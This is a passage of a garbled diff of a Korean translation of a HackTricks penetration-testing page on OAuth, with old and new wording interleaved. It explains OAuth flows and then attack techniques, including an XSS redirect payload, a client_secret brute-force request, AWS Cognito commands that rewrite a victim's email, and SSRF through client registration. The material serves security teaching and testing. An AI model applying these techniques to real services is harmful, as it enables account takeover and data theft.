- **인가 서버**: `리소스 소유자`의 성공적인 인증 및 인가 후 `클라이언트 응용 프로그램`에 `액세스 토큰`을 발급하는 **서버**, 예: **https://socialmedia.com**.
|
||||
- **client\_id**: 응용 프로그램을 고유하게 식별하는 공개 식별자입니다.
|
||||
- **client\_secret**: 응용 프로그램과 인가 서버만이 알고 있는 비밀 키로, `액세스 토큰`을 생성하는 데 사용됩니다.
|
||||
- **response\_type**: `code`와 같은 **요청하는 토큰의 유형**을 지정하는 값입니다.
|
||||
- **scope**: `클라이언트 응용 프로그램`이 `리소스 소유자`로부터 요청하는 **액세스 수준**입니다.
|
||||
- **redirect\_uri**: 사용자가 인가 후 리디렉션되는 **URL**입니다. 일반적으로 미리 등록된 리디렉션 URL과 일치해야 합니다.
|
||||
- **state**: 사용자가 인가 서버로부터 리디렉션되고 다시 리디렉션되는 동안 **데이터를 유지하기 위한 매개 변수**입니다. 고유성은 **CSRF 보호 메커니즘**으로서 중요합니다.
|
||||
- **grant\_type**: **인가 유형과 반환될 토큰의 유형**을 나타내는 매개 변수입니다.
|
||||
- **code**: `인가 서버`에서 받은 인가 코드로, `client\_id`와 `client\_secret`과 함께 클라이언트 응용 프로그램이 `액세스 토큰`을 얻는 데 사용합니다.
|
||||
- **access\_token**: `리소스 소유자`를 대신하여 `클라이언트 응용 프로그램`이 API 요청에 사용하는 **토큰**입니다.
|
||||
- **refresh\_token**: 사용자에게 다시 확인을 요청하지 않고 새로운 `액세스 토큰`을 **얻을 수 있게 하는** 응용 프로그램입니다.
|
||||
- **리소스 소유자**: 귀하는 **사용자/엔티티**로서 귀하의 리소스에 대한 액세스를 승인합니다(예: 소셜 미디어 계정 게시물).
|
||||
- **리소스 서버**: `액세스 토큰`을 확보한 후 `리소스 소유자`를 대신하여 인증된 요청을 처리하는 **서버**, 예: **https://socialmedia.com**.
|
||||
- **클라이언트 응용 프로그램**: `리소스 소유자`로부터 인가를 받는 **응용 프로그램**, 예: **https://example.com**.
|
||||
- **인가 서버**: `리소스 소유자`의 성공적인 인증 및 권한 부여 후 `클라이언트 응용 프로그램`에 `액세스 토큰`을 발급하는 **서버**, 예: **https://socialmedia.com**.
|
||||
- **client\_id**: 응용 프로그램을 위한 공개적이고 고유한 식별자.
|
||||
- **client\_secret**: 응용 프로그램과 인가 서버만 알고 있는 비밀 키로, `액세스 토큰`을 생성하는 데 사용됩니다.
|
||||
- **response\_type**: 요청되는 **토큰 유형을 지정하는 값**, 예: `code`.
|
||||
- **scope**: `클라이언트 응용 프로그램`이 `리소스 소유자`로부터 요청하는 **액세스 수준**.
|
||||
- **redirect\_uri**: **인가 후 사용자가 리디렉션되는 URL**입니다. 일반적으로 사전 등록된 리디렉션 URL과 일치해야 합니다.
|
||||
- **state**: **사용자의 인가 서버로부터 리디렉션 및 다시 리디렉션하는 동안 데이터를 유지**하는 매개변수입니다. 그것의 고유성은 **CSRF 보호 메커니즘**으로서 중요합니다.
|
||||
- **grant\_type**: **부여 유형 및 반환될 토큰 유형을 나타내는** 매개변수입니다.
|
||||
- **code**: `인가 서버`에서의 인가 코드로, `클라이언트 응용 프로그램`이 `client_id` 및 `client_secret`과 함께 `액세스 토큰`을 획득하는 데 사용됩니다.
|
||||
- **access\_token**: `리소스 소유자`를 대신하여 `API 요청`에 사용되는 **토큰**입니다.
|
||||
- **refresh\_token**: 응용 프로그램이 **사용자에게 다시 프롬프팅하지 않고 새 `액세스 토큰`을 얻을 수 있게 하는** 토큰입니다.
|
||||
|
||||
### 플로우
|
||||
### 흐름
|
||||
|
||||
**실제 OAuth 플로우**는 다음과 같이 진행됩니다:
|
||||
**실제 OAuth 흐름**은 다음과 같이 진행됩니다:
|
||||
|
||||
1. [https://example.com](https://example.com)으로 이동하여 "소셜 미디어와 통합" 버튼을 선택합니다.
|
||||
2. 해당 사이트는 https://example.com의 응용 프로그램이 게시물에 액세스할 수 있도록 권한을 부여하기 위해 [https://socialmedia.com](https://socialmedia.com)에 요청을 보냅니다. 요청은 다음과 같이 구성됩니다:
|
||||
2. 해당 사이트는 귀하의 게시물에 액세스할 수 있도록 https://example.com의 응용 프로그램에 권한을 부여하도록 [https://socialmedia.com](https://socialmedia.com)에 요청을 보냅니다. 요청은 다음과 같이 구성됩니다:
|
||||
```
|
||||
https://socialmedia.com/auth
|
||||
?response_type=code
|
||||
|
@ -51,13 +55,13 @@ https://socialmedia.com/auth
|
|||
&scope=readPosts
|
||||
&state=randomString123
|
||||
```
|
||||
3. 그런 다음 동의 페이지가 표시됩니다.
|
||||
3. 동의 페이지가 표시됩니다.
|
||||
|
||||
4. 승인 후, 소셜 미디어는 `redirect_uri`로 `code`와 `state` 매개변수를 포함한 응답을 보냅니다:
|
||||
4. 승인 후에, 소셜 미디어는 `redirect_uri`로 `code` 및 `state` 매개변수를 포함한 응답을 보냅니다:
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
```
|
||||
5. https://example.com은 `code`와 함께 `client_id`와 `client_secret`을 사용하여 서버 측 요청을 수행하여 `access_token`을 얻습니다. 이를 통해 당신이 동의한 권한에 대한 액세스가 가능해집니다:
|
||||
5. https://example.com은 `code`를 사용하여 당신을 대신하여 `access_token`을 얻기 위해 서버 측 요청을 만듭니다. 이때 `client_id`와 `client_secret`를 함께 사용합니다. 이로써 당신이 동의한 권한에 액세스할 수 있게 됩니다:
|
||||
```
|
||||
POST /oauth/access_token
|
||||
Host: socialmedia.com
|
||||
|
@ -67,47 +71,47 @@ Host: socialmedia.com
|
|||
|
||||
## 취약점 <a href="#323a" id="323a"></a>
|
||||
|
||||
### Open redirect\_uri <a href="#cc36" id="cc36"></a>
|
||||
### Open redirect_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
`redirect_uri`는 OAuth 및 OpenID 구현에서 보안에 중요한 역할을 합니다. 이는 인가 후에 인가 코드와 같은 민감한 데이터가 전송되는 위치를 지정하기 때문입니다. 잘못 구성된 경우, 공격자는 이러한 요청을 악성 서버로 리디렉션하여 계정 탈취를 가능하게 할 수 있습니다.
|
||||
`redirect_uri`는 OAuth 및 OpenID 구현에서 보안에 중요한 역할을 합니다. 이는 인가 코드와 같은 민감한 데이터가 인가 후에 전송되는 위치를 지시하기 때문입니다. 잘못 구성된 경우, 공격자가 이러한 요청을 악의적인 서버로 리디렉션하여 계정 탈취를 가능케 할 수 있습니다.
|
||||
|
||||
악용 기법은 인가 서버의 유효성 검사 논리에 따라 다양합니다. 엄격한 경로 일치부터 지정된 도메인 또는 하위 디렉토리 내의 모든 URL을 허용하는 것까지 다양합니다. 일반적인 악용 방법으로는 개방형 리디렉트, 경로 순회, 약한 정규식 악용 및 토큰 도난을 위한 HTML 삽입이 있습니다.
|
||||
악용 기술은 인가 서버의 유효성 검사 논리에 따라 다양합니다. 엄격한 경로 일치부터 지정된 도메인 또는 하위 디렉토리 내의 모든 URL을 허용하는 것까지 다양합니다. 일반적인 악용 방법으로는 오픈 리다이렉트, 경로 순회, 약한 정규식 악용 및 토큰 도난을 위한 HTML 삽입이 있습니다.
|
||||
|
||||
`redirect_uri` 외에도 `client_uri`, `policy_uri`, `tos_uri`, `initiate_login_uri`와 같은 다른 OAuth 및 OpenID 매개변수도 리디렉션 공격에 취약할 수 있습니다. 이러한 매개변수는 선택적이며 지원 범위는 서버마다 다릅니다.
|
||||
`redirect_uri` 외에도 `client_uri`, `policy_uri`, `tos_uri`, `initiate_login_uri`와 같은 다른 OAuth 및 OpenID 매개변수도 리디렉션 공격에 취약합니다. 이러한 매개변수는 선택 사항이며 지원 범위가 서버마다 다릅니다.
|
||||
|
||||
OpenID 서버를 대상으로 하는 경우, 검색 엔드포인트 (`**.well-known/openid-configuration**`)는 종종 `registration_endpoint`, `request_uri_parameter_supported`, "`require_request_uri_registration`과 같은 가치 있는 구성 세부 정보를 나열합니다. 이러한 세부 정보는 서버의 등록 엔드포인트 및 기타 구성 세부 정보를 식별하는 데 도움이 될 수 있습니다.
|
||||
OpenID 서버를 대상으로 하는 경우, 발견 엔드포인트(`**.well-known/openid-configuration**`)는 종종 `registration_endpoint`, `request_uri_parameter_supported`, "`require_request_uri_registration`과 같은 가치 있는 구성 세부 정보를 나열합니다. 이러한 세부 정보는 등록 엔드포인트 및 서버의 기타 구성 세부 정보를 식별하는 데 도움이 될 수 있습니다.
|
||||
|
||||
### 리디렉션 구현에서의 XSS <a href="#bda5" id="bda5"></a>
|
||||
### 리디렉트 구현에서의 XSS <a href="#bda5" id="bda5"></a>
|
||||
|
||||
이 버그 바운티 보고서 [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html)에서 언급된 바에 따르면, 사용자가 인증을 완료한 후 서버의 응답에 리디렉트 **URL이 반영**될 수 있으며, **XSS에 취약**할 수 있습니다. 테스트할 수 있는 가능한 페이로드:
|
||||
이 버그 바운티 보고서 [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html)에서 언급된 바에 따르면 리디렉트 **URL이 사용자가 인증한 후 서버 응답에 반영**될 수 있으며 **XSS에 취약**할 수 있습니다. 테스트할 가능한 페이로드:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
### CSRF - 상태 매개변수의 부적절한 처리 <a href="#bda5" id="bda5"></a>
|
||||
### CSRF - 상태 매개변수 처리 부적절 <a href="#bda5" id="bda5"></a>
|
||||
|
||||
OAuth 구현에서 **`state` 매개변수**의 오용 또는 생략은 **Cross-Site Request Forgery (CSRF)** 공격의 위험을 크게 증가시킬 수 있습니다. 이 취약점은 `state` 매개변수가 **사용되지 않거나 정적 값으로 사용되거나 적절하게 유효성을 검사하지 않을 때** 발생하며, 이로 인해 공격자가 CSRF 보호를 우회할 수 있습니다.
|
||||
OAuth 구현에서 **`state` 매개변수**의 오용 또는 누락은 **Cross-Site Request Forgery (CSRF)** 공격 위험을 크게 증가시킬 수 있습니다. 이 취약점은 `state` 매개변수가 **사용되지 않거나 정적 값으로 사용되거나 적절하게 유효성이 검사되지 않을 때** 발생하며, 이를 통해 공격자가 CSRF 보호를 우회할 수 있습니다.
|
||||
|
||||
공격자는 권한 부여 프로세스를 가로채어 희생자의 계정과 자신의 계정을 연결하여 잠재적인 **계정 탈취**를 유도할 수 있습니다. 이는 특히 OAuth가 **인증 목적**으로 사용되는 애플리케이션에서 매우 중요합니다.
|
||||
공격자는 권한 부여 프로세스를 가로채어 자신의 계정을 피해자의 계정과 연결하여 **계정 탈취**로 이어질 수 있습니다. 이는 특히 OAuth가 **인증 목적으로 사용되는 애플리케이션**에서 매우 중요합니다.
|
||||
|
||||
이러한 취약점의 실제 예는 다양한 **CTF 도전과 해킹 플랫폼**에서 문서화되어 있으며, 실제적인 영향을 보여줍니다. 이 문제는 또한 **Slack**, **Stripe**, **PayPal**과 같은 제3자 서비스와의 통합에도 영향을 미칩니다. 여기서 공격자는 알림이나 결제를 자신의 계정으로 리디렉션할 수 있습니다.
|
||||
이러한 취약점의 실제 사례는 다양한 **CTF 챌린지** 및 **해킹 플랫폼**에서 문서화되어 있으며, 실제 적용 가능성을 강조합니다. 이 문제는 **Slack**, **Stripe**, **PayPal**과 같은 제3자 서비스와의 통합에도 영향을 미치며, 공격자가 알림이나 결제를 자신의 계정으로 리디렉션할 수 있습니다.
|
||||
|
||||
**`state` 매개변수**의 적절한 처리와 유효성 검사는 CSRF를 방지하고 OAuth 플로우를 보호하는 데 중요합니다.
|
||||
**`state` 매개변수**의 적절한 처리와 유효성 검사는 CSRF에 대비하고 OAuth 흐름을 안전하게 보호하는 데 중요합니다.
|
||||
|
||||
### 계정 탈취 전 사전 조치 <a href="#ebe4" id="ebe4"></a>
|
||||
### 계정 탈취 전 <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **계정 생성 시 이메일 검증 없음**: 공격자는 희생자의 이메일을 사용하여 미리 계정을 생성할 수 있습니다. 희생자가 나중에 로그인을 위해 제3자 서비스를 사용하는 경우, 애플리케이션은 실수로 이 제3자 계정을 공격자가 미리 생성한 계정과 연결할 수 있어 권한 없는 액세스가 발생할 수 있습니다.
|
||||
1. **계정 생성 시 이메일 확인 없음**: 공격자는 피해자의 이메일을 사용하여 미리 계정을 생성할 수 있습니다. 피해자가 나중에 로그인을 위해 제3자 서비스를 사용하는 경우, 애플리케이션이 이 제3자 계정을 실수로 공격자가 미리 생성한 계정에 연결할 수 있어 무단 액세스로 이어질 수 있습니다.
|
||||
|
||||
2. **유연한 OAuth 이메일 검증 악용**: 공격자는 이메일을 검증하지 않는 OAuth 서비스를 악용하여 자신의 서비스에 등록한 후 계정 이메일을 희생자의 이메일로 변경할 수 있습니다. 이 방법은 첫 번째 시나리오와 유사한 권한 없는 계정 액세스 위험을 가지며, 다른 공격 벡터를 통해 발생합니다.
|
||||
2. **느슨한 OAuth 이메일 확인 악용**: 공격자는 이메일을 확인하지 않는 OAuth 서비스를 악용하여 서비스에 등록한 후 계정 이메일을 피해자의 이메일로 변경할 수 있습니다. 이 방법은 첫 번째 시나리오와 유사하게 무단 계정 액세스의 위험을 초래하지만 다른 공격 벡터를 통해 이루어집니다.
|
||||
|
||||
### 비밀 정보 노출 <a href="#e177" id="e177"></a>
|
||||
### 비밀 노출 <a href="#e177" id="e177"></a>
|
||||
|
||||
OAuth 매개변수의 비밀을 식별하고 보호하는 것이 중요합니다. **`client_id`**는 안전하게 공개될 수 있지만, **`client_secret`**를 공개하면 중대한 위험에 노출됩니다. `client_secret`이 유출되면 공격자는 애플리케이션의 신원과 신뢰를 악용하여 사용자의 `access_token`과 개인 정보를 **도용**할 수 있습니다.
|
||||
비밀 OAuth 매개변수를 식별하고 보호하는 것이 중요합니다. **`client_id`**는 안전하게 공개될 수 있지만 **`client_secret`**를 공개하면 중대한 위험을 초래할 수 있습니다. `client_secret`가 노출되면 공격자가 응용 프로그램의 신원과 신뢰를 악용하여 사용자 `access_token` 및 개인 정보를 **도용**할 수 있습니다.
|
||||
|
||||
일반적인 취약점은 애플리케이션이 권한 `code`를 `access_token`으로 교환하는 과정을 클라이언트 측에서 처리하는 경우 발생합니다. 이 실수로 인해 `client_secret`이 노출되어 공격자가 애플리케이션의 위장을 한 채로 `access_token`을 생성할 수 있습니다. 더구나 사회 공학 기법을 통해 공격자는 OAuth 권한에 추가적인 범위를 추가하여 애플리케이션의 신뢰할 수 있는 상태를 악용할 수 있습니다.
|
||||
응용 프로그램이 권한 `code`을 `access_token`으로 교환하는 것을 서버 측이 아닌 클라이언트 측에서 잘못 처리하는 경우 일반적인 취약점이 발생합니다. 이 실수로 `client_secret`가 노출되어 공격자가 응용 프로그램의 위장으로 `access_token`을 생성할 수 있게 됩니다. 더 나아가 사회 공학을 통해 공격자는 OAuth 권한에 추가적인 범위를 추가하여 응용 프로그램의 신뢰 상태를 더 악용할 수 있습니다.
|
||||
|
||||
### 클라이언트 시크릿 브루트포스
|
||||
|
||||
서비스 제공자의 **클라이언트 시크릿을 브루트포스**하여 계정을 도용하려고 시도할 수 있습니다.\
|
||||
서비스 제공자의 클라이언트 시크릿을 **브루트포스**하여 ID 제공자와 함께 계정을 도용하려고 시도할 수 있습니다.\
|
||||
BF에 대한 요청은 다음과 유사할 수 있습니다:
|
||||
```
|
||||
POST /token HTTP/1.1
|
||||
|
@ -118,29 +122,29 @@ Connection: close
|
|||
|
||||
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
|
||||
```
|
||||
### Referer 헤더 누출 코드 + 상태
|
||||
### Referer 헤더 누설 코드 + State
|
||||
|
||||
클라이언트가 **코드와 상태를 가지고 있다면**, 다른 페이지로 이동할 때 **Referer 헤더에 반영**되는지 확인하여 취약점이 있는지 확인할 수 있습니다.
|
||||
클라이언트가 **코드와 상태**를 가지고 있으면, 다른 페이지로 이동할 때 **Referer 헤더에 반영**되어 있다면 취약합니다.
|
||||
|
||||
### 브라우저 기록에 저장된 액세스 토큰
|
||||
### 브라우저 히스토리에 저장된 액세스 토큰
|
||||
|
||||
**브라우저 기록으로 이동하여 액세스 토큰이 저장되어 있는지 확인**합니다.
|
||||
**브라우저 히스토리로 이동하여 액세스 토큰이 저장되어 있는지 확인**합니다.
|
||||
|
||||
### 영구적인 인증 코드
|
||||
### 영구적인 인가 코드
|
||||
|
||||
**인증 코드는 공격자가 훔쳐서 사용할 수 있는 시간 창을 제한하기 위해 일정 시간 동안만 유지되어야 합니다**.
|
||||
**인가 코드는 공격자가 그것을 도용하고 사용할 수 있는 시간 창을 제한하기 위해 일정 시간 동안만 유지**되어야 합니다.
|
||||
|
||||
### 인증/갱신 토큰이 클라이언트에 바인딩되지 않음
|
||||
### 클라이언트에 바인딩되지 않은 인가/새로고침 토큰
|
||||
|
||||
**인증 코드를 얻고 다른 클라이언트에서 사용할 수 있다면 다른 계정을 탈취할 수 있습니다**.
|
||||
**인가 코드를 가져와 다른 클라이언트에서 사용할 수 있다면 다른 계정을 탈취**할 수 있습니다.
|
||||
|
||||
### Happy Paths, XSS, Iframes 및 Post Messages를 사용하여 코드 및 상태 값을 누출
|
||||
### Happy Paths, XSS, Iframes 및 Post Messages를 사용하여 코드 및 상태 값 누출
|
||||
|
||||
**[이 게시물을 확인하세요](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
|
||||
|
||||
### AWS Cognito <a href="#bda5" id="bda5"></a>
|
||||
|
||||
이 버그 바운티 보고서에서는 [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/)에서 **AWS Cognito**가 사용자에게 돌려주는 **토큰**이 **사용자 데이터를 덮어쓸 충분한 권한을 가질 수 있다는 것을 확인**할 수 있습니다. 따라서, 다른 사용자 이메일로 **사용자 이메일을 변경**할 수 있다면, 다른 계정을 **탈취**할 수 있을 수 있습니다.
|
||||
이 버그 바운티 보고서에서: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**가 사용자에게 돌려주는 **토큰**에는 **사용자 데이터를 덮어쓸 충분한 권한**이 있을 수 있습니다. 따라서, **다른 사용자 이메일로 사용자 이메일을 변경**할 수 있다면, 다른 사람의 계정을 **탈취**할 수 있을 수도 있습니다.
|
||||
```bash
|
||||
# Read info of the user
|
||||
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
|
||||
|
@ -157,66 +161,39 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
|||
]
|
||||
}
|
||||
```
|
||||
AWS cognito를 악용하는 방법에 대한 자세한 정보는 다음을 참조하십시오:
|
||||
### 다른 앱 토큰 남용 <a href="#bda5" id="bda5"></a>
|
||||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
||||
[**이 글에서 언급된 것**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)과 같이, **토큰**(코드가 아닌)을 받기를 기대하는 OAuth 플로우는 토큰이 해당 앱에 속해 있는지 확인하지 않으면 취약할 수 있습니다.
|
||||
|
||||
### 다른 앱 토큰 악용 <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**이 글에서 언급된대로**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), **토큰**(코드가 아닌)을 기대하는 OAuth 플로우는 토큰이 해당 앱에 속하는지 확인하지 않는 경우 취약할 수 있습니다.
|
||||
|
||||
이는 **공격자**가 **OAuth를 지원하는 애플리케이션을 만들고 Facebook으로 로그인** 한 다음 피해자가 **공격자의 애플리케이션**에서 Facebook으로 로그인하면 공격자는 **피해자의 OAuth 애플리케이션에 대해 부여된 사용자 토큰을 사용하여 로그인** 할 수 있기 때문입니다.
|
||||
이는 **공격자**가 **OAuth를 지원하는 애플리케이션을 만들고 Facebook으로 로그인**한 다음 피해자가 **공격자의 애플리케이션**에서 Facebook으로 로그인하면, **공격자가 사용자의 OAuth 토큰을 획득하여 사용자의 토큰을 사용하여 피해자 OAuth 애플리케이션에 로그인할 수 있기 때문입니다**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
따라서, 공격자가 사용자가 자신의 OAuth 애플리케이션에 액세스하도록 관리하면 토큰이 해당 앱 ID에 부여되었는지 확인하지 않는 애플리케이션에서 피해자의 계정을 탈취할 수 있습니다.
|
||||
따라서, 공격자가 사용자가 자신의 OAuth 애플리케이션에 액세스하도록 관리하면, 토큰이 그들의 앱 ID에 부여되었는지 확인하지 않는 애플리케이션에서 피해자 계정을 탈취할 수 있게 될 것입니다.
|
||||
{% endhint %}
|
||||
|
||||
### 두 개의 링크 및 쿠키 <a href="#bda5" id="bda5"></a>
|
||||
### 두 링크 및 쿠키 <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**이 글에서 언급된대로**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), 피해자가 공격자의 호스트를 가리키는 **returnUrl**이 포함된 페이지를 열도록 만들 수 있었습니다. 이 정보는 쿠키(RU)에 **저장**되며 **나중에** **prompt**에서 **사용자**에게 해당 공격자의 호스트에 대한 액세스를 허용할지 묻습니다.
|
||||
[**이 글에 따르면**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), 피해자가 **공격자의 호스트를 가리키는 returnUrl**이 있는 페이지를 열도록 만들 수 있었으며, 이 정보는 쿠키(RU)에 **저장**되며 **나중 단계에서** **프롬프트**가 **사용자**에게 **해당 공격자 호스트에 액세스를 허용할지 물어볼 것**입니다.
|
||||
|
||||
이 prompt를 우회하기 위해, **returnUrl**을 사용하여 이 RU 쿠키를 설정하는 **Oauth 플로우**를 시작하는 탭을 열고, prompt가 표시되기 전에 탭을 닫고 해당 값이 없는 새로운 탭을 열 수 있었습니다. 그러면 **prompt는 공격자의 호스트에 대해 알리지 않을 것**이지만 쿠키는 해당 호스트로 설정되므로 **토큰이 리디렉션에서 공격자의 호스트로 전송**됩니다.
|
||||
이 프롬프트를 우회하기 위해 **Oauth 플로우를 시작하는 탭을 열어** 이 returnUrl을 설정하는 **RU 쿠키를 설정**하고, 프롬프트가 표시되기 전에 탭을 닫고 해당 값이 없는 새 탭을 열 수 있습니다. 그러면 **프롬프트는 공격자 호스트에 대해 알리지 않을 것**이지만 쿠키는 그것으로 설정되어 있기 때문에 **토큰이 리디렉션에서 공격자 호스트로 전송**될 것입니다.
|
||||
|
||||
### SSRF 매개변수 <a href="#bda5" id="bda5"></a>
|
||||
|
||||
**[이 연구를 확인하십시오](https://portswigger.net/research/hidden-oauth-attack-vectors) 이 기술에 대한 자세한 내용을 위해.**
|
||||
**[이 연구를 확인하십시오](https://portswigger.net/research/hidden-oauth-attack-vectors) 이 기술의 자세한 내용을 확인하십시오.**
|
||||
|
||||
OAuth의 동적 클라이언트 등록은 **서버 측 요청 위조 (SSRF)** 공격에 대한 덜 명백하지만 중요한 벡터로 작용합니다. 이 엔드포인트는 OAuth 서버가 클라이언트 애플리케이션에 대한 세부 정보를 수신하도록 허용하며, 이는 악용될 수 있는 민감한 URL을 포함합니다.
|
||||
OAuth의 동적 클라이언트 등록은 **서버 측 요청 위조(SSRF)** 공격을 위한 중요한 벡터로 작용하는데, 이는 명시적이지 않지만 보안 취약점을 가질 수 있습니다. 이 엔드포인트는 OAuth 서버가 클라이언트 애플리케이션에 대한 세부 정보를 수신하도록 하며, 이는 악용될 수 있는 민감한 URL을 포함합니다.
|
||||
|
||||
**주요 포인트:**
|
||||
|
||||
- **동적 클라이언트 등록**은 일반적으로 `/register`에 매핑되며, `client_name`, `client_secret`, `redirect_uris` 및 로고 또는 JSON Web Key Sets (JWKs)의 URL과 같은 세부 정보를 POST 요청을 통해 받습니다.
|
||||
- **동적 클라이언트 등록**은 주로 `/register`에 매핑되며, `client_name`, `client_secret`, `redirect_uris`, 로고 또는 JSON Web Key Sets (JWKs)의 URL과 같은 세부 정보를 POST 요청을 통해 수락합니다.
|
||||
- 이 기능은 **RFC7591** 및 **OpenID Connect Registration 1.0**에서 제시된 사양을 준수하며, SSRF에 취약할 수 있는 매개변수를 포함합니다.
|
||||
- 등록 프로세스는 다음과 같은 여러 가지 방법으로 서버를 SSRF에 노출시킬 수 있습니다:
|
||||
- **`logo_uri`**: 서버에서 가져올 수 있는 클라이언트 애플리케이션의 로고 URL로, URL이 잘못 처리되면 SSRF를 유발하거나 XSS로 이어질 수 있습니다.
|
||||
- **`jwks_uri`**: 클라이언트의 JWK 문서에 대한 URL로, 악의적으로 조작된 경우 서버가 공격자가 제어하는 서버로 외부 요청을 보낼 수 있습니다.
|
||||
- **`sector_identifier_uri`**: `redirect_uris`의 JSON 배열을 참조하며, 서버가 가져올 수 있어 SSRF 기회를 만들 수 있습니다.
|
||||
- **`request_uris`**: 클라이언트에 대해 허용된 요청 URI를 나열하며, 서버가 인증 프로세스 시작 시 이러한 URI를 가져오면 악용될 수 있습니다.
|
||||
- 등록 프로세스는 여러 가지 방법으로 서버가 SSRF에 노출되도록 할 수 있습니다:
|
||||
- **`logo_uri`**: 서버에서 가져올 수 있는 클라이언트 애플리케이션 로고의 URL로, SSRF를 트리거하거나 URL이 잘못 처리되면 XSS로 이어질 수 있습니다.
|
||||
- **`jwks_uri`**: 악의적으로 작성된 클라이언트의 JWK 문서에 대한 URL은 서버가 악성 서버로 외부 요청을 수행하도록 할 수 있습니다.
|
||||
- **`sector_identifier_uri`**: `redirect_uris`의 JSON 배열을 참조하며, 서버가 이를 가져와 SSRF 기회를 만들 수 있습니다.
|
||||
- **`request_uris`**: 클라이언트에 대한 허용된 요청 URI 목록으로, 서버가 권한 부여 프로세스 시작 시 이러한 URI를 가져오면 악용될 수 있습니다.
|
||||
|
||||
**악용 전략:**
|
||||
|
||||
- `logo_uri`, `jwks_uri` 또는 `sector_identifier_uri`와 같은 매개변수에 악의적인 URL을 포함하여 새로운 클라이언트를 등록함으로써 SSRF를 트리거할 수 있습니다.
|
||||
- `request_uris`를 통한 직접적인 악용은 화이트리스트 제어로 완화될 수 있지만, 사전에 등록된 공격자가 제어하는 `request_uri`를 제공함으로써 인가 단계 중에 SSRF를 용이하게 할 수 있습니다.
|
||||
|
||||
## OAuth 공급자의 경쟁 조건
|
||||
|
||||
테스트하는 플랫폼이 OAuth 공급자인 경우 [**가능한 경쟁 조건을 테스트하려면**](race-condition.md) 이를 읽으십시오.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
|
||||
* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family)인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** 팔로우하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **자신의 해킹 기법을 공유**하세요.
|
||||
|
||||
</details>
|
||||
- `logo_uri`, `jwks_uri`, 또는 `sector_identifier_uri`와 같은 매개변수에 악의적인 URL을 포함하여 새 클라이언트를 등록함으로써 SSRF를 트리거할 수 있습니다.
|
||||
- `request_uris`를 통한 직접적인 악용은 화이트리스트 제어를 통해 완화될 수 있지만, 사전 등록된 공격자가 제어하는 `request_uri`를 제공함으로써 권한 부여 단계 중에 SSRF를 용이하게 할 수 있습니다.
|
||||
|
|
|
@ -2,79 +2,89 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
